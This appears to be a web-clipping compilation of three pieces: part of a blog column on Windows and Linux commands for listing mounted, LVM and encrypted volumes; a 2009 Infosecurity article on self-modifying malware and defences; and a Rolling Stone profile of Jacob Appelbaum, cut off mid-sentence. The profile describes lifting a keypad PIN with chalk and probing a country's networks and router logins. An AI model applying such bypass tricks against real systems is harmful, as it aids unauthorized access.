no reasonable person would just type on a whim, plus it's not going have
enough detail for us.  
  
To get what we really want, let's go back to our good friend wmic, the Windows
Management Instrumentation Command line tool. Instead of the "wmic volume"
alias we checked out above, we'll focus on the very useful "wmic logicaldisk"
alias:  
  

[code]

    c:\> wmic logicaldisk list brief  
    DeviceID  DriveType  FreeSpace    ProviderName     Size         VolumeName  
    A:        2  
    C:        3          14548656128                   32210153472  *  
    D:        5          0                             2893314048   SANS560V0809  
    E:        2          8098086912                    16015360000  
    Z:        4          3144540160   \\10.10.10.9\c$  4285337600
    
[/code]

  
Ahh... almost there. The DriveType crap still lingers, but this one is
promising. We can check out the available attributes for logicaldisk by
running:  
  

[code]

    c:\> wmic logicaldisk get /?
    
[/code]

  
Digging around there, we can see that name, description, and providername
\(which shows mounted network shares\) could be useful. Let's make a custom
query for them:  
  

[code]

    c:\> wmic logicaldisk get name,description,providername  
    Description              Name  ProviderName  
    3 1/2 Inch Floppy Drive  A:  
    Local Fixed Disk         C:  
    CD-ROM Disc              D:  
    Removable Disk           E:  
    Network Connection       Z:    \\10.10.10.9\c$
    
[/code]

  
Soooo close. It kinda stinks having the drive letter in the middle of our
output, doncha think? It should start with that. But, a frustrating fact about
wmic is that its output columns show up in alphabetical order by attribute
name. The "D" in description comes before the "N" in name, so we see the
description first. Try reversing the order in which you request the attributes
in the get clause, and you will see that they always come out the same way.
Bummer.... We could switch those columns around with a FOR loop and some
hideous parsing, but no one would ever want to type that command.  
  
But, there is a solution. It turns out that the drive letter is not just
stored in the "name" attribute, but is also located in the "caption"
attribute. And, my friends, I don't have to remind you that "C" comes before
"D" in the alphabet, do I? So, yes, we can trick Windows into giving us
exactly what we want by running:  
  

[code]

    c:\> wmic logicaldisk get caption,description,providername  
    Caption  Description              ProviderName  
    A:       3 1/2 Inch Floppy Drive  
    C:       Local Fixed Disk  
    D:       CD-ROM Disc  
    E:       Removable Disk  
    Z:       Network Connection       \\10.10.10.9\c$
    
[/code]

  
So, there you have it. Reasonable, typable, beautiful. Life is good.  
  
Hal responds:  
  
When Unix folks want to answer the "What's mounted?" question, most of them
reach for the df command first:  
  

[code]

    # **df -h**  
     Filesystem            Size  Used Avail Use% Mounted on  
    /dev/mapper/elk-root 1008M  656M  302M  69% /  
    tmpfs                 1.9G     0  1.9G   0% /lib/init/rw  
    varrun                1.9G  156K  1.9G   1% /var/run  
    varlock               1.9G     0  1.9G   0% /var/lock  
    udev                  1.9G  3.0M  1.9G   1% /dev  
    tmpfs                 1.9G  324K  1.9G   1% /dev/shm  
    lrm                   1.9G  2.4M  1.9G   1% /lib/modules/2.6.27-11-generic/volatile  
    /dev/sda1             236M   60M  165M  27% /boot  
    /dev/mapper/elk-home  130G   99G   25G  81% /home  
    /dev/mapper/elk-usr   7.9G  3.3G  4.2G  44% /usr  
    /dev/mapper/elk-var   4.0G  743M  3.1G  20% /var  
    /dev/scd0              43M   43M     0 100% /media/cdrom0  
    /dev/sdd1             150G   38G  112G  26% /media/LACIE  
    //server/hal          599G  148G  421G  26% /home/hal/data
    
[/code]

  
Frankly, though, I find that the mount command actually provides a lot more
useful data about the mounted file systems than just the amount of available
space that df shows:  
  

[code]

    # **mount**  
     /dev/mapper/elk-root on / type ext3 (rw,relatime,errors=remount-ro)  
    tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)  
    /proc on /proc type proc (rw,noexec,nosuid,nodev)  
    sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)  
    varrun on /var/run type tmpfs (rw,nosuid,mode=0755)  
    varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)  
    udev on /dev type tmpfs (rw,mode=0755)  
    tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)  
    devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)  
    fusectl on /sys/fs/fuse/connections type fusectl (rw)  
    lrm on /lib/modules/2.6.27-11-generic/volatile type tmpfs (rw,mode=755)  
    none on /proc/bus/usb type usbfs (rw,devgid=46,devmode=664)  
    /dev/sda1 on /boot type ext3 (rw,relatime)  
    /dev/mapper/elk-home on /home type ext3 (rw,relatime)  
    /dev/mapper/elk-usr on /usr type ext3 (rw,relatime)  
    /dev/mapper/elk-var on /var type ext3 (rw,relatime)  
    securityfs on /sys/kernel/security type securityfs (rw)  
    none on /proc/fs/vmblock/mountPoint type vmblock (rw)  
    binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev)  
    gvfs-fuse-daemon on /home/hal/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=hal)  
    /dev/scd0 on /media/cdrom0 type iso9660 (ro,nosuid,nodev,utf8,user=hal)  
    /dev/sdd1 on /media/LACIE type fuseblk (rw,nosuid,nodev,allow_other,blksize=4096)  
    //server/hal on /home/hal/data type cifs (rw,mand)
    
[/code]

  
Both commands show you the various physical and logical file systems on the
machine, plus information on shares \(like //server/hal\) and removable media
devices \(like /dev/scd0\). But the extra file system type information \(ext3,
iso9660, cifs, etc\) and mount options data that the mount command provides is
typically more useful to auditors and forensic examiners because it provides a
better picture of how the devices are actually being used.  
  
The one thing that's missing from both the df and mount output is information
about your swap areas. You need to use the swapon command to get at this
information:  
  

[code]

    # **swapon -s**  
     Filename    Type  Size Used Priority  
    /dev/mapper/elk-swap                    partition 4194296 5488 -1
    
[/code]

  
If you're running on hardware with a PC BIOS, then your OS probably also
includes the fdisk command:  
  

[code]

    # **fdisk -l**  
      
     Disk /dev/sda: 160.0 GB, 160041885696 bytes  
    255 heads, 63 sectors/track, 19457 cylinders  
    Units = cylinders of 16065 * 512 = 8225280 bytes  
    Disk identifier: 0xed1f86f7  
      
    Device Boot      Start         End      Blocks   Id  System  
    /dev/sda1   *           1          31      248976   83  Linux  
    /dev/sda2              32       19457   156039345   83  Linux  
      
    Disk /dev/sdd: 160.0 GB, 160041885696 bytes  
    255 heads, 63 sectors/track, 19457 cylinders  
    Units = cylinders of 16065 * 512 = 8225280 bytes  
    Disk identifier: 0xb90dbb65  
      
    Device Boot      Start         End      Blocks   Id  System  
    /dev/sdd1   *           1       19457   156288321    7  HPFS/NTFS
    
[/code]

  
Aside from giving you physical geometry information about how your disks are
laid out, fdisk might also show you file systems that are not currently
mounted.  
  
Astute readers might have noticed a discrepancy between the output of the
mount and fdisk commands. Let me add some command line options to each command
to help highlight the difference:  
  

[code]

    # **fdisk -l /dev/sda**  
      
     Disk /dev/sda: 160.0 GB, 160041885696 bytes  
    255 heads, 63 sectors/track, 19457 cylinders  
    Units = cylinders of 16065 * 512 = 8225280 bytes  
    Disk identifier: 0xed1f86f7  
      
    Device Boot      Start         End      Blocks   Id  System  
    /dev/sda1   *           1          31      248976   83  Linux  
    /dev/sda2              32       19457   156039345   83  Linux  
    # **mount -t ext3**  
     /dev/mapper/elk-root on / type ext3 (rw,relatime,errors=remount-ro)  
    /dev/sda1 on /boot type ext3 (rw,relatime)  
    /dev/mapper/elk-home on /home type ext3 (rw,relatime)  
    /dev/mapper/elk-usr on /usr type ext3 (rw,relatime)  
    /dev/mapper/elk-var on /var type ext3 (rw,relatime)
    
[/code]

  
We see in the fdisk output that /dev/sda is split into two partitions, and we
can see in the mount output that /dev/sda1 is mounted on /boot. But what are
all those /dev/mapper/elk-\* devices and how do they map into the apparently
unused /dev/sda2 partition?  
  
What you're seeing here is typical of a system that's using the Linux Logical
Volume Manager \(LVM\). LVM is a mechanism for creating "soft partitions" that
can be resized at will, and it also ties in with a bunch of other
functionality, some of which we'll encounter shortly. Other flavors of Unix
will typically have something similar, though the exact implementation may
vary. The high-level concept for Linux LVM is that your file systems each live
inside of a "logical volume" \(LV\). A set of logical volumes is a "volume
group" \(VG\), and VGs live inside of a "physical volume" \(PV\). You can
think of the PV as the actual physical partition on disk.  
  
To take an example from the output above, the /home file system lives inside
the LV /dev/mapper/elk-home. You can use the lvdisplay and vgdisplay commands
to get information about the LV and VG, and these commands would show you that
"elk-home" and all the other LVs on the system are part of the VG "elk". But
in order to figure out the mapping between the VG and the PV on disk, you need
to use the pvdisplay command:  
  

[code]

    # **pvdisplay**  
     --- Physical volume ---  
    PV Name               /dev/mapper/sda2_crypt  
    VG Name               elk  
    PV Size               148.81 GB / not usable 1.17 MB  
    Allocatable           yes (but full)  
    PE Size (KByte)       4096  
    Total PE              38095  
    Free PE               0  
    Allocated PE          38095  
    PV UUID               rOwdB9-r8Io-1IIA-ITRK-TPjE-eF98-RkGqVN
    
[/code]

  
You'll note that the "PV Name" lists a device name that doesn't look like a
physical partition like /dev/sda2. That's because in this case my PV is
actually an encrypted file system that was created using the Linux disk
encryption utilities. That means we have to go through one more level of
indirection to get back to the actual physical disk partition info:  
  

[code]

    # **cryptsetup status sda2_crypt**  
     /dev/mapper/sda2_crypt is active:  
    cipher:  aes-cbc-essiv:sha256  
    keysize: 256 bits  
    device:  /dev/sda2  
    offset:  2056 sectors  
    size:    312076634 sectors  
    mode:    read/write
    
[/code]

  
Whew\! So let's recap. /home is an ext3 file system inside of /dev/mapper/elk-
home, which we learn from the mount command. lvdisplay would tell us which VG
this volume was part of, and vgdisplay would give us more details about the
"elk" VG itself. pvdisplay normally gives us the mappings between the VGs and
the physical partitions, but in this case our PV is actually a logical volume
inside of an encrypted file system. So we need to use cryptsetup to dump the
information about the encrypted volume, including the actual physical device
name. That's a lot of layers, but it's really not that awful to deal with in
practice.

# Infosecurity \(USA\) - Nine Lives - Self-modifying Malware

**Created:**| _9/18/2009 12:13:16 PM_  
---|---  
**Updated:**| _9/18/2009 12:13:36 PM_  
**Author:**| __  
**Tags:**| _botnets reversing Malware-analysis_  
  

# Nine Lives - Self-modifying Malware

18 September 2009  
**Steve Gold**

##  As the Conficker worm proved when it first appeared in October 2008,
there’s more to a piece of malware code than meets the eye, especially when it
is self-updating. But can self-updating also mean self-modifying? Steve Gold
investigates whether an IT security manager’s nightmare has become a
programming reality

One of the most interesting historical software releases in programming terms
is The Last One \(TLO\), a Pascal-driven application that was released to
critical acclaim in 1991. TLO was coded by David James, who was famous for his
expert coding exploits in the late 1980s and early 1990s.

The program was notable in that it allowed its users to enter a program design
by selecting from a number of flowcharting options. As each flowchart is
selected, the program asks a series of simple questions, in order to better
understand what the user wants from that particular element of program code.

Once the entire flowchart has been entered by the user, TLO’s program code
checks it for logic and errors, requesting further information from the user
as and when required.

Once this process is completed, TLO goes off and writes a program that does
what the flowchart specifies. The resultant program – coded in BASIC, a simple
programming language – could then be compiled into machine code.

Although simplistic by today’s 32 and 64-bit programming standards, TLO was –
and still is – largely unique in being an application that generates
relatively unique program code as a direct function of its operation.

As its creator David James said in the early 1990s, TLO does what it claims;
it writes programs automatically.

Now here’s the big question – could the self-programming capabilities of TLO
be applied to modern-day coding?

The answer, of course, is that within certain parameters, a modern-day TLO
could be created, but the program code would be highly complex and cover tens,
if not hundreds of millions of lines of source code.

A specialized version of a modern-day TLO – one designed, for example, for the
creation of specialized spreadsheet applications – would be a realistic
option, but most observers would ask ‘why bother’?

#### The Re-inventing Worm

Let’s advance this question further – could the self-programming capabilities
of TLO be applied to a piece of malware that infects users’ PCs and propagates
using a number of self-modifying techniques?

The answer is a resounding yes. To a certain extent, the Conficker worm that
has been hitting the headlines in the last nine months or so applies these
principles, since each iteration of the worm seems to perform different attack
functions.

**"\[Conficker's\] sucess, if that is the right word, is based on its
intelligence in this regard."**  
---  
Alan Bentley  
Detailed analysis of the Conficker worm reveals that the secret to its success
is its modular nature, allowing third-party hackers – as well as the original
programmer/programming team – to \`develop’ extra features as and when
required.

According to Alan Bentley, vice president of EMEA for vulnerability analysis
security specialist Lumension, the Conficker worm is one of a new generation
of worms that can automatically update itself and even adapt to the way it
infects users based on different system conditions it encounters.

“Its success, if that is the right word”, says Bentley, “is based on its
intelligence in this regard”.

In its first iteration in October 2008, Bentley tells  _Infosecurity_ , the
Conficker worm was a piece of shellware that exploited a number of issues with
the Windows Server environment.

Its uniqueness, he says, is that it allows itself to update by phoning home
across the internet, and downloading fresh instructions, then modifying its
program code and capabilities accordingly.

“It’s a very powerful worm in this context. Much more powerful than, say, the
Blaster worm seen in 2003/2004, which was written by Jeffrey Lee Parson, and
was considered quite revolutionary in its day”, he says.

The Conficker worm, he explains, will update itself and then look for network
share and other resources through which it can propagate and further infect a
given set of IT resources.

#### Automating the Manual Hacker Process

Over at penetration and networking specialist First Base Technologies, Peter
Wood, the firm’s chief of operations and ISACA conference committee member,
says that the automation of malware and attacking processes – especially those
involving man-in-the-middle types of attack – is something which is now being
carried out by hackers.

At the Infosecurity Europe show in April, for example, Wood and his team
revealed a serious structural error in the security of secure cookies in
regular use on the internet.

Many sites, says Wood, “do not set the secure text flag on their site’s
session cookie”. He explains: when web sessions flip between the https and
http protocols – as many major e-commerce sites frequently do – this flaw can
be exploited by a hacker.

According to Wood, because http sessions have far less of a data and IT
resource overhead than https sessions, major sites often only use the latter
secure protocol when requiring users to enter personal data such as payment
card details on specific pages.

Furthermore, if the hacker uses the cookie to take over an internet session,
they can then intercept this personal data.

“Under certain circumstances”, says Wood, “it is even possible for a hacker to
seize control of a supposedly secure and authenticated IP session just as the
user has entered their payment card data and other personal information”.

The sequence of assuming control of a user’s IP session is highly manual.
Nevertheless, Wood tells  _Infosecurity _that it is possible to automate the
process to the point where a piece of malware could be coded to conduct the
hacking whilst the hacker watches.

“I’m pretty sure this exploit has been used by hackers in the past. It
explains a lot about how some sites have been hacked”, he says.

Paul Wood, chief information security analyst with Messagelabs, is also a
believer in the automated approach to hackers and their malware.

Citing his firm’s April 2009 Intelligence Report, he explains some of the
trends in high-profile malware infections. As it starts to infect, continues
its infection of large numbers of internet users, and fades away, you get some
interesting results on a month-by-month basis.

Some pieces of malware start to fade away and then, he says, seemingly come
back from the dead and start to infect a second wave of users.

If you look at the program code of the malware that exhibits this type of
behavior, he says, you start to realize that there is more at work than
hackers simply modifying existing malware.

“Some malware types are emerging – like Conficker – that are capable of
modifying themselves in the face of changing situations on the internet,” he
says.

It’s not yet clear, Paul Wood adds, whether this process is entirely
automated, or whether it is being assisted by the actions of the original
malware programmers and/or third party hackers.

What is certain, however, he says, is that self-modifying malware is a reality
in 2009. It is why some pieces of malware resurface in the Messagelabs charts
on a regular basis.

#### Protection

According to Lumension’s Bentley, one of the ways in which organizations can
better protect themselves against self-modifying malware, such as the
Conficker worm and its descendants, is to reduce the IT resource’s attack
surface. We can do this using a five-stage process of discovery, assessment,
prioritization, remediation and reporting.

In the discovery stage, IT managers should attempt to discover all the network
resources on the company systems. Once this process is carried out, he says,
managers can then identify the vulnerabilities that exist on the network.

The third step is to prioritize the remedial steps needed, namely understand
the details of the IT resource’s vulnerabilities, their potential severity and
their impact of the business.

“The fourth stage,” says Bentley, “is to remediate, or eliminate the network
vulnerabilities, using a process of installing security patches at all points,
and mitigate any other risks by creating custom remediation.”

The fifth and final stage is to report on the risks and the solutions applied
to the problem of reducing an organization’s attack surface.

**"Under certain circumstances, it is even possible for a hacker to seize
control of a supposedly secure - and authenticated - IP session just as the
user has entered their payment card data and other personal data."**  
---  
Peter Wood  
This is normally achieved, says Bentley, “by in-depth reporting at all stages
in the process, and then consolidating the reports into a master analysis,
which can be updated as new risks arrive and new resources are added to the IT
system\(s\) concerned.”

Messagelabs’ Paul Wood, meanwhile, says the process of blocking malware –
especially self-modifying hacker code – can also be highly automated, with IT
security technology analyzing and stepping through the analysis process at
high speed.

#### Five Stages of Analysis

The Messagelabs’ modus operandi involves a five-stage real-time analysis
process. It kicks in as various IT threats are encountered when monitoring an
organization’s incoming and outgoing emails.

The first stage is to bandwidth throttle any suspicious IP traffic to give the
organization’s IT security software a chance to analyze the suspect messages
and/or attachments in real time.

If the email is found to be suspect, but does not conform to known infection
signatures, then the message’s header can be analyzed and, if an infection
etc., is found, the email can be quarantined.

The third stage in the analysis process is to perform user management and
address validation, with Messagelabs’ security applying a number of automated
checks to verify whether the message comes from a source previously known to
be dangerous.

“The fourth stage”, Paul Wood says, “is to apply the Skeptic anti-malware and
anti-hacking analysis program for anything suspicious that has passed the
first three analysis stages but does not pass muster”.

The fifth and final stage, he explains, is to apply Skeptic’s anti-spam
technology to the messages, allowing the security software to weed out
anything that still looks suspicious for later, manual, analysis by the IT
staff concerned.

There is an additional security step that can be carried out to detect hybrid
and self-modifying malware and email infections that cannot be spotted using
conventional signature pattern analysis, or heuristic analysis. This is to
perform a DNA analysis on the message and its attachment\(s\).

Wood says that this process is arguably the most interesting of all, since it
allows an evolutionary approach to be taken to the analysis process. The
security software modifies its approach as it encounters new potential
infection or hacker attack vectors.

Currently, he says, this process requires the interventions of programmers to
check for false positives. In time, though, the process could well become
automatic – almost as automatic, perhaps, as the self-modifying malware that
the software is designed to detect and deal with.

_This article is featured in:_  
Malware and Hardware Security

# Meet the American Hacker Behind Wikileaks | Rolling Stone Culture
**Created:**| _12/2/2010 9:34:09 PM_  
---|---  
**Updated:**| _12/2/2010 9:34:45 PM_  
**Author:**| __  
**Tags:**| _interviews intelligence information systems_  
  

# Meet the American Hacker Behind Wikileaks

## American hacker Jacob Appelbaum fights repressive regimes around the world.
Now he's on the run from his own government

### By Nathaniel Rich  

Dec 01, 2010 6:34 PM EST

On July 29th, returning from a trip to Europe, Jacob Appelbaum, a lanky,
unassuming 27-year-old wearing a black T-shirt with the slogan "Be the trouble
you want to see in the world," was detained at customs by a posse of federal
agents. In an interrogation room at Newark Liberty airport, he was grilled
about his role in Wikileaks, the whistle-blower group that has exposed the
government's most closely guarded intelligence reports about the war in
Afghanistan. The agents photocopied his receipts, seized three of his
cellphones — he owns more than a dozen — and confiscated his computer. They
informed him that he was under government surveillance. They questioned him
about the trove of 91,000 classified military documents that Wikileaks had
released the week before, a leak that Vietnam-era activist Daniel Ellsberg
called "the largest unauthorized disclosure since the Pentagon Papers." They
demanded to know where Julian Assange, the founder of Wikileaks, was hiding.
They pressed him on his opinions about the wars in Afghanistan and Iraq.
Appelbaum refused to answer. Finally, after three hours, he was released.

Sex, Drugs, and the Biggest Cybercrime of All Time

Appelbaum is the only known American member of Wikileaks and the leading
evangelist for the software program that helped make the leak possible. In a
sense, he's a bizarro version of Mark Zuckerberg: If Facebook's ambition is to
"make the world more open and connected," Appelbaum has dedicated his life to
fighting for anonymity and privacy. An anarchist street kid raised by a
heroin- addict father, he dropped out of high school, taught himself the
intricacies of code and developed a healthy paranoia along the way. "I don't
want to live in a world where everyone is watched all the time," he says. "I
want to be left alone as much as possible. I don't want a data trail to tell a
story that isn't true." We have transferred our most intimate and personal
information — our bank accounts, e-mails, photographs, phone conversations,
medical records — to digital networks, trusting that it's all locked away in
some secret crypt. But Appelbaum knows that this information is not safe. He
knows, because he can find it.

_This article appears in theSeptember 2, 2010 issue of Rolling Stone. The
issue is available now on newsstands and in the online archive._

He demonstrates this to me when I meet him, this past spring, two weeks before
Wikileaks made headlines around the world by releasing a video showing U.S.
soldiers killing civilians in Iraq. I visit him at his cavernous duplex in San
Francisco. The only furniture is a black couch, a black chair and a low black
table; a Guy Fawkes mask hangs on a wall in the kitchen. The floor is littered
with Ziploc bags containing bundles of foreign cash: Argentine pesos, Swiss
francs, Romanian lei, old Iraqi dinars bearing Saddam Hussein's face. The bag
marked "Zimbabwe" contains a single $50 billion bill. Photographs, most of
them taken by Appelbaum, cover the wall above his desk: punk girls in
seductive poses and a portrait of his deceased father, an actor, in drag.

The Battle For Facebook

Appelbaum tells me about one of his less impressive hacking achievements, a
software program he invented called Blockfinder. It was not, he says,
particularly difficult to write. In fact, the word he uses to describe the
program's complexity is "trivial," a withering adjective that he and his
hacker friends frequently deploy, as in, "Triggering the Chinese firewall is
trivial" or "It's trivial to access any Yahoo account by using password-
request attacks." All that Blockfinder does is allow you to identify, contact
and potentially hack into every computer network in the world.

The Hottest Live Photos of the Week

He beckons me over to one of his eight computers and presses several keys,
activating Blockfinder. In less than 30 seconds, the program lists all of the
Internet Protocol address allocations in the world — potentially giving him
access to every computer connected to the Internet. Appelbaum decides to home
in on Burma, a small country with one of the world's most repressive regimes.
He types in Burma's two-letter country code: "mm," for Myanmar. Blockfinder
instantly starts to spit out every IP address in Burma.

* * *
Blockfinder informs Appelbaum that there are 12,284 IP addresses allocated to
Burma, all of them distributed by government-run Internet-service providers.
In Burma, as in many countries outside the United States, Internet access runs
through the state. Appelbaum taps some keys and attempts to connect to every
computer system in Burma. Only 118 of them respond. "That means almost every
network in Burma is blocked from the outside world," he says. "All but 118 of
them."

These 118 unfiltered computer systems could only belong to organizations and
people to whom the government grants unfettered Internet access: trusted
politicians, the upper echelons of state-run corporations, intelligence
agencies.

"Now this," Appelbaum says, "is the good part."

He selects one of the 118 networks at random and tries to enter it. A window
pops up asking for a password. Appelbaum throws back his head and screams with
laughter — a gleeful, almost manic trill. The network runs on a router made by
Cisco Systems and is riddled with vulnerabilities. Hacking into it will be
trivial.

It's impossible to know what's on the other side of the password. The prime
minister's personal e-mail account? The network server of the secret police?
The military junta's central command? Whatever it is, it could soon be at
Appelbaum's fingertips.

So will he do it?

"I could," Appelbaum says, with a smile. "But that would be illegal, wouldn't
it?"

No one has done more to spread the gospel of anonymity than Appelbaum, whose
day job is to serve as the public face of the Tor Project, a group that
promotes Internet privacy through a software program invented 15 years ago by
the U.S. Naval Research Laboratory. He travels the world teaching spooks,
political dissidents and human rights activists how to use Tor to prevent some
of the world's most repressive regimes from tracking their movements online.
He considers himself a freedom-of-speech absolutist. "The only way we'll make
progress in the human race is if we have dialogue," he says. "Everyone should
honor the United Nations human rights charter that says access to freedom of
speech is a universal right. Anonymous communication is a good way for this to
happen. Tor is just an implementation that helps spread that idea."

In the past year alone, Tor has been downloaded more than 36 million times. A
suspected high-level member of the Iranian military used Tor to leak
information about Tehran's censorship apparatus. An exiled Tunisian blogger
living in the Netherlands relies on Tor to get past state censors. During the
Beijing Olympics, Chinese protesters used Tor to hide their identities from
the government.

The Tor Project has received funding not only from major corporations like
Google and activist groups like Human Rights Watch but also from the U.S.
military, which sees Tor as an important tool in intelligence work. The
Pentagon was not particularly pleased, however, when Tor was used to reveal
_its_ secrets. Wikileaks runs on Tor, which helps to preserve the anonymity of
its informants. Though Appelbaum is a Tor employee, he volunteers for
Wikileaks and works closely with Julian Assange, the group's founder. "Tor's
importance to Wikileaks cannot be understated," Assange says. "Jake has been a
tireless promoter behind the scenes of our cause."

In July, shortly before Wikileaks released the classified Afghanistan war
documents, Assange had been scheduled to give the keynote speech at Hackers on
Planet Earth \(HOPE\), a major conference held at a hotel in New York. Federal
agents were spotted in the audience, presumably waiting for Assange to appear.
Yet as the lights darkened in the auditorium, it was not Assange who took the
stage but Appelbaum.

"Hello to all my friends and fans in domestic and international surveillance,"
Appelbaum began. "I am here today because I believe we can make a better
world. Julian, unfortunately, can't make it, because we don't live in that
better world right now, because we haven't yet made it. I wanted to make a
little declaration for the federal agents that are standing in the back of the
room and the ones that are standing in the front of the room, and to be very
clear about this: I have, on me, in my pocket, some money, the Bill of Rights
and a driver's license, and that's it. I have no computer system, I have no
telephone, I have no keys, no access to anything. There's absolutely no reason
that you should arrest me or bother me. And just in case you were wondering,
I'm an American, born and raised, who's unhappy. I'm unhappy with how things
are going." He paused, interrupted by raucous applause. "To quote from _Tron_
," he added, "'I fight for the user.'"

For the next 75 minutes, Appelbaum spoke about Wikileaks, urging the hackers
in the audience to volunteer for the cause. Then the lights went out, and
Appelbaum, his black hoodie pulled down over his face, appeared to be escorted
out of the auditorium by a group of volunteers. In the lobby, however, the
hood was lifted, revealing a young man who was not, in fact, Appelbaum. The
real Appelbaum had slipped away backstage and left the hotel through a
security door. Two hours later, he was on a flight to Berlin.

By the time Appelbaum returned to America 12 days later and was detained at
Newark, newspapers were reporting that the war documents identified dozens of
Afghan informants and potential defectors who were cooperating with American
troops. \(When asked why Wikileaks didn't redact these documents before
releasing them, a spokesman for the organization blamed the sheer volume of
information: "I just can't imagine that someone could go through 76,000
documents."\) Marc Thiessen, a former Bush speechwriter, called the group "a
criminal enterprise" and urged the U.S. military to hunt them down like Al
Qaeda. Rep. Mike Rogers, a Republican from Michigan, said that the soldier who
allegedly provided the documents to Wikileaks should be executed.

Two days later, after speaking at a hackers conference in Las Vegas, Appelbaum
was approached by a pair of undercover FBI agents. "We'd like to chat for a
few minutes," one of them said. "We thought you might not want to. But
sometimes it's nice to have a conversation to flesh things out."

Appelbaum has been off the grid ever since — avoiding airports, friends,
strangers and unsecure locations, traveling through the country by car. He's
spent the past five years of his life working to protect activists around the
world from repressive governments. Now he is on the run from his own.

* * *
Appelbaum's obsession with privacy might be explained by the fact that, for
his entire childhood, he had absolutely none of it. "I come from a family of
lunatics," he says. "Actual, raving lunatics." His parents, who never married,
began a 10-year custody battle before he was even born. He spent the first
five years of his life with his mother, whom he says is a paranoid
schizophrenic. She insisted that Jake had somehow been molested by his father
while he was still in the womb. His aunt took custody of him when he was six;
two years later she dropped him off at a Sonoma County children's home. It was
there, at age eight, that he hacked his first security system. An older kid
taught him how to lift the PIN code from a security keypad: You wipe it clean,
and the next time a guard enters the code, you blow chalk on the pad and lift
the fingerprints. One night, after everyone had gone to sleep, the boys
disabled the system and broke out of the facility. They didn't do anything
special — just walked around a softball field across the street for half an
hour — but Appelbaum remembers the evening vividly: "It was really nice, for a
single moment, to be completely free."

When he was 10, he was assigned by the courts to live with his father, with
whom he had remained close. But his dad soon started using heroin, and
Appelbaum spent his teens traveling with his father around Northern California
on Greyhound buses, living in Christian group homes and homeless shelters.
From time to time, his father would rent a house and turn it into a heroin
den, subletting every room to fellow addicts. All the spoons in the kitchen
had burn stains. One morning, when Appelbaum went to brush his teeth, he found
a woman convulsing in the bathtub with a syringe hanging out of her arm.
Another afternoon, when he came home from school, he found a suicide note
signed by his father. \(Appelbaum saved him from an overdose that day, but his
father died several years later under mysterious circumstances.\) It got so
that he couldn't even sit on a couch for fear that he'd be pierced by a stray
needle.

An outsider in his own home, Appelbaum embraced outsider culture. He haunted
the Santa Rosa mall, begging for change. He dressed in drag and "I ♥ Satan"
T-shirts, dyed his hair purple, picked fights with Christian fundamentalists
and made out with boys in front of school. \(Appelbaum identifies himself as
"queer," though he refers to at least a dozen female lovers in nearly as many
countries.\) When a friend's father encouraged his interest in computers and
taught him basic programming tools, something opened up for Appelbaum.
Programming and hacking allowed him "to feel like the world was not a lost
place. The Internet is the only reason I'm alive today."

At 20, he moved to Oakland and eventually began providing tech security for
the Rainforest Action Network and Greenpeace. In 2005, a few months after his
father died, he traveled alone to Iraq — crossing the border by foot — and set
up satellite Internet connections in Kurdistan. In the aftermath of Hurricane
Katrina, he drove to New Orleans, using falsified press documents to get past
the National Guard, and set up wireless hot spots in one of the city's poorest
neighborhoods to enable refugees to register for housing with FEMA.

Upon returning home, he started experimenting with the fare cards used by the
Bay Area Rapid Transit system and discovered it was possible to rig a card
with an unlimited fare. Instead of taking advantage, he alerted BART officials
to their vulnerabilities. But during this conversation, Appelbaum learned that
BART permanently stored the information encoded on every transit card — the
credit-card number used, where and when they were swiped — on a private
database. Appelbaum was outraged. "Keeping that information around is
irresponsible," he says. "I'm a taxpayer, and I was given no choice how they
store that data. It's not democratically decided — it's a bureaucratic
directive."

Given his concerns about privacy, it's easy to see why Appelbaum gravitated
toward the Tor Project. He volunteered as a programmer, but it soon became
clear that his greatest ability lay in proselytizing: He projects the perfect
mix of boosterism and dread. "Jake can do advocacy better than most," says
Roger Dingledine, one of Tor's founders. "He says, 'If someone were looking
for you, this is what they'd do,' and he shows them. It freaks people out."

The Internet, once hailed as an implacable force of liberalization and
democratization, has become the ultimate tool for surveillance and repression.
"You can never take information back once it's out there," Appelbaum says,
"and it takes very little information to ruin a person's life." The dangers of
the Web may remain abstract for most Americans, but for much of the world,
visiting restricted websites or saying something controversial in an e-mail
can lead to imprisonment, torture or death.

Last year, some 60 governments prevented their citizens from freely accessing
the Internet. China is rumored to have a staff of more than 30,000 censors who
have deleted hundreds of millions of websites and blocked an eccentric range
of terms — not only "Falungong," "oppression" and "Tiananmen," but also
"temperature," "warm," "study" and "carrot."

On a bright afternoon in San Francisco, before Wikileaks dominated the
headlines, Appelbaum is dressed in his usual hacker uniform: black boots,
black socks, black slacks, black thick-rimmed glasses and a T-shirt bearing an
archslogan. \(Today it's "Fuck politics — I just want to burn shit down."\)
Though his work requires him to sit at his desk for most of the day, he is
rarely stationary. He frequently jumps up and executes a series of brief,
acrobatic stretches.He kicks a leg up against the wall, cracks his neck
violently, tugs one arm across his chest and, just as abruptly, sits back down
again.

He explains that we have to take a cab to pick up his mail. Like being a
strict vegan or a Mormon, a life of total anonymity requires great sacrifice.
You cannot, for instance, have mail delivered to your home. Nor can you list
your name in your building's directory. Appelbaum has all of his mail sent to
a private mail drop, where a clerk signs for it. That allows Appelbaum — and
the dissidents and hackers he deals with — to use the postal system
anonymously. Person One can send a package to Appelbaum, who can repackage it
and send it on to Person Two. That way Person One and Person Two never have
direct contact — or even learn each other's identities.

* * *
Tor works in a similar way. When you use the Internet, your computer makes a
connection to the Web server you wish to contact. The server recognizes your
computer, notes its IP address and sends back the page you've requested. It's
not difficult, however, for a government agency or a malicious hacker to
observe this whole transaction: They can monitor the server and see who is
contacting it, or they can monitor your computer and see whom you're trying to
contact. Tor prevents such online spying by introducing intermediaries between
your computer and the system you're trying to reach. Say, for example, that
you live in San Francisco and you want to send an e-mail to your friend, a
high-level mole in the Iranian Revolutionary Guard. If you e-mail your friend
directly, the Guard's network could easily see your computer's IP address, and
discover your name and personal information. But if you've installed Tor, your
e-mail gets routed to one of 2,000 relays — computers running Tor — scattered
across the world. So your message bounces to a relay in Paris, which forwards
it to a second relay in Tokyo, which sends it on to a third relay in
Amsterdam, where it is finally transmitted to your friend in Tehran. The
